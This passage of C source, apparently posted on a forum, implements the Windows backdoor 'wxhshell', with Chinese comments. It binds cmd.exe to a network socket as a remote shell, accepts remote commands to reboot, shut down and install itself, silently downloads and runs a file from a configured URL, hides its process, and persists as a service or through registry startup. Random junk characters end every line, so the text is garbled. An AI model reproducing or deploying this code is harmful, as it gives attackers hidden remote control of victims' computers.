  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n50XGv  
  } jRXpEiM  
  else { [0 7N<<  
xw-x<7  
    switch(cmd[0]) { z^ +CD-  
  u/FnA-L4  
  // 帮助 4VE7%.z+  
  case '?': { pfW0)V1t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <a *X&P  
    break; =Haqr*PDx  
  } 3=xb%Upw  
  // 安装 }'{39vc .  
  case 'i': { TRG(W^<F  
    if(Install()) tBe)#-O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M-KjRl  
    else 8;7Y}c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  $3](6  
    break; {H eIY2  
    } 5,!,mor$]  
  // 卸载 m3]|I(]`Xe  
  case 'r': { )5P*O5kQ -  
    if(Uninstall())  =%AFn9q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 1[LPN  
    else 5J1A|qII  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IWN:GFH(  
    break; {Q8DPkW  
    } .E|Hk,c9  
  // 显示 wxhshell 所在路径 yEUFK  
  case 'p': { bL 5z%bV  
    char svExeFile[MAX_PATH]; Sv.z9@S  
    strcpy(svExeFile,"\n\r"); :bMCmY  
      strcat(svExeFile,ExeFile); "iE9X.6NMu  
        send(wsh,svExeFile,strlen(svExeFile),0); *&B1(&{:V  
    break; tYyva  
    } 2X2,( D!  
  // 重启 MP,l*wVd  
  case 'b': { rAD5n, M]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QLo^6S5!  
    if(Boot(REBOOT)) W5*%n]s~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +]Of f^s  
    else { ]B0 >r^  
    closesocket(wsh); FQ?,&s$Bmd  
    ExitThread(0); .['@:}$1  
    } [6qa"Ie  
    break; ~T<#HSR`  
    } HGmgQ>q@M$  
  // 关机 F?'=iY<h  
  case 'd': { zmy94Y5PE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M*| y&XBe  
    if(Boot(SHUTDOWN)) J=6 7As  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /B"h #v-o  
    else { 94r8DkI  
    closesocket(wsh); .EVy?-   
    ExitThread(0); 7\ d{F)7E  
    } ,-A8;DW]^J  
    break; phSF. WC  
    } !mK[kXo  
  // 获取shell {s|rk  
  case 's': { ]aq!@rDX  
    CmdShell(wsh); wJh|$Vn  
    closesocket(wsh); sd\>|N?'  
    ExitThread(0); 9"2.2li5$  
    break; ~u1ox_v`%(  
  } zLXmjrC  
  // 退出 %JDG aG'  
  case 'x': { CFqoD l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -yeQQ4b  
    CloseIt(wsh); 0m,A`*o  
    break; X"b4U\A  
    } 49}yw3-  
  // 离开 "s2?cQv{#  
  case 'q': { i ^sK+v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zvL&V .>  
    closesocket(wsh); k|-`d  
    WSACleanup(); c\UVMyE  
    exit(1); &oiX/UaY  
    break; @Fqh]1t  
        } (6z^m?t?  
  } exV6&bdu  
  } wXDF7tJh  
'P}"ZHW  
  // 提示信息 +V1EqC*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8YraW|H  
} m_~ p G  
  } qAm$yfYs`  
k(o[T),_%0  
  return; )gV+BHK  
} y4) M,+O5  
/>q=qkdq0  
// shell模块句柄 :w(J=0Lt  
int CmdShell(SOCKET sock) /dhx+K~  
{ Pca~V>Hd  
STARTUPINFO si; s W+YfJT  
ZeroMemory(&si,sizeof(si)); PC/fb-J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KgVit+4u/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; " e g`3v  
PROCESS_INFORMATION ProcessInfo; %@$h?HP  
char cmdline[]="cmd"; `3kE$h#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y\BB;"x1  
  return 0; 'T7JXV5  
} UT [7 J  
m\7-/e2 a  
// 自身启动模式 #h ;j2  
int StartFromService(void) E!Hq%L!/  
{ xq =+M!V  
typedef struct F/ 2@%,2n  
{ Km]N scq1  
  DWORD ExitStatus; JWy$` "{  
  DWORD PebBaseAddress; 1O45M/5\o  
  DWORD AffinityMask; I!jSAc{  
  DWORD BasePriority; - t4"BD  
  ULONG UniqueProcessId; :q~qRRmjBe  
  ULONG InheritedFromUniqueProcessId; "$+naY{w  
}   PROCESS_BASIC_INFORMATION; "%urT/F v&  
66D<Up'K  
PROCNTQSIP NtQueryInformationProcess; )(*A1C[  
Di9yd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D/V. o}X$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *)ed(+b  
J:f>/  
  HANDLE             hProcess; hiaj!&+Q  
  PROCESS_BASIC_INFORMATION pbi; <,Sy:>:"  
0ang~_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /OgXNIl]  
  if(NULL == hInst ) return 0; r4JXbh6Tt  
3k;U#H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  vi4 1`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )&+_T+\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BArsj  
h@Ea$1'e,  
  if (!NtQueryInformationProcess) return 0; dVVeH\o  
b-]E -$Uz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oHI~-{m3)  
  if(!hProcess) return 0; XZcsx  
#i ?@S$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N$pwTyk  
H24g+<Tv  
  CloseHandle(hProcess); POH >!lHu  
qS&PMQ"$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U`FybP2R~  
if(hProcess==NULL) return 0; W euV+}\b  
`m3@mJ!>\  
HMODULE hMod; 90sMS]a  
char procName[255]; 2-llT  
unsigned long cbNeeded; Ms1G&NYP  
VT3Zo%Xx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |rdG+ >  
&-<"HW  
  CloseHandle(hProcess); wuzz Wq  
}K~JM1(26  
if(strstr(procName,"services")) return 1; // 以服务启动 <B`}18x  
{tOuKnnS  
  return 0; // 注册表启动 J}jK_  
} 6xdu}l=%  
"1%<IqpU+  
// 主模块 "x\3`Qk  
int StartWxhshell(LPSTR lpCmdLine)  =e$ #m;  
{ zIF &ZYP  
  SOCKET wsl; [w=x0J&  
BOOL val=TRUE; bQXxb(^  
  int port=0; -B4uK  
  struct sockaddr_in door; C$*`c6R  
[7<X&Q  
  if(wscfg.ws_autoins) Install(); zmr=iK  
^+`vh0TPQ  
port=atoi(lpCmdLine); &@dMk4BH<  
,Lv} Xku  
if(port<=0) port=wscfg.ws_port; c::x.B"w  
Lom%eoH)  
  WSADATA data; 32~Tf,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 82$By]Y9  
eoEb\zJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ujz %0Mq;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); + W@r p#  
  door.sin_family = AF_INET; Z6D4VZVF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^{6Y7T]  
  door.sin_port = htons(port); FT|*~_@  
iM8hGQ`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rFx2 S  
closesocket(wsl); /4_}wi\  
return 1; *N>Qj-KAM_  
} te6[^_k  
,<EmuEw |  
  if(listen(wsl,2) == INVALID_SOCKET) { H5&>Eny  
closesocket(wsl); "3\RJ?eW:S  
return 1; /2FX"I[0V%  
} am%qlN<  
  Wxhshell(wsl); 44%H? ,d  
  WSACleanup(); "VT5WFj  
P*aD2("Z  
return 0; EAY9~b6~c  
{q}: w{x9u  
} _KZ(Yq>SdY  
="A[*:h C"  
// 以NT服务方式启动 bzJKoxU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6:B5PJq  
{ A:D\!5=  
DWORD   status = 0; V?_%Y<|L  
  DWORD   specificError = 0xfffffff; LL[ +QcH  
+ixDB0"\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dH`a|SVW9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >,] #~d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dtg Ja_  
  serviceStatus.dwWin32ExitCode     = 0; 1Rczf(,aT  
  serviceStatus.dwServiceSpecificExitCode = 0; Ix(4<s  
  serviceStatus.dwCheckPoint       = 0; dHp6G^Y  
  serviceStatus.dwWaitHint       = 0; L1F){8[  
 vo::y"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {#[a4@B0  
  if (hServiceStatusHandle==0) return; "Q/3]hc.  
?0?'  
status = GetLastError(); PN.6BJvu  
  if (status!=NO_ERROR) kBONP^xI  
{ A%GJ|h,i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IcQ?^9%{  
    serviceStatus.dwCheckPoint       = 0; Z(<ul<?r  
    serviceStatus.dwWaitHint       = 0; piId5Gx7  
    serviceStatus.dwWin32ExitCode     = status; 7Ru0>4B  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,7QnZ=F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .s!:p pwl  
    return; v,M2|x\r}  
  } t[Q^Xp  
+$UfP(XmH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;m5M: Z"  
  serviceStatus.dwCheckPoint       = 0; {'b8;x8h  
  serviceStatus.dwWaitHint       = 0; O Z#?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `3+U6>U [  
} ^M80 F7  
kqyMrZ#  
// 处理NT服务事件,比如:启动、停止 t =*K?'ly  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c^bA]l^a  
{ 3% P?1s  
switch(fdwControl) "(xS  
{ 'sA&Pm  
case SERVICE_CONTROL_STOP: djSN{>S  
  serviceStatus.dwWin32ExitCode = 0; Olno9_'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "~[Rwh?  
  serviceStatus.dwCheckPoint   = 0; Gt1Up~\s  
  serviceStatus.dwWaitHint     = 0; t]` 2f3UO  
  { q@\_q!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sbs"26IE  
  } xv*mK1e  
  return; Y{O&- 5H^|  
case SERVICE_CONTROL_PAUSE: b9Y pUm7#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +p[~hM6?  
  break; {10ms_s  
case SERVICE_CONTROL_CONTINUE: }+lxj a]C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QB.7n&u  
  break; ]u,~/Gy  
case SERVICE_CONTROL_INTERROGATE: /Mk)H d  
  break; YL. z|{\e  
}; h49Q2`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]SPB c  
} {Q-U=me\  
=aekY;/  
// 标准应用程序主函数 [_0g^(`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j~{2fd<>  
{ i f"v4PHq  
N0piL6Js  
// 获取操作系统版本 Stc\P]%d  
OsIsNt=GetOsVer(); - VE#:&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w\mF2h  
x3P@AC$\  
  // 从命令行安装 0l##M06>  
  if(strpbrk(lpCmdLine,"iI")) Install(); aE%VH ;?  
_qg6( X  
  // 下载执行文件 IN"vi|1  
if(wscfg.ws_downexe) { ##5/%#eZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YNXk32@j@e  
  WinExec(wscfg.ws_filenam,SW_HIDE); Om^/tp\  
} 6a@~;!GlI  
BNy"YK$  
if(!OsIsNt) { 4W?<hv+k7*  
// 如果时win9x,隐藏进程并且设置为注册表启动 WAa?$"U2  
HideProc(); Y; w]u_  
StartWxhshell(lpCmdLine); } -vBRY  
} y(dS1.5F  
else r#Mx~Zg~  
  if(StartFromService()) W<4\4  
  // 以服务方式启动 42u\Y_^ID  
  StartServiceCtrlDispatcher(DispatchTable); md`ToU  
else ]/bE${W*]  
  // 普通方式启动 i#lo? \PO>  
  StartWxhshell(lpCmdLine); ypd?mw&1}  
X2`>@GR/>  
return 0; g@2.A;N0  
}
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只看该作者 1 发表于: 2006-10-10
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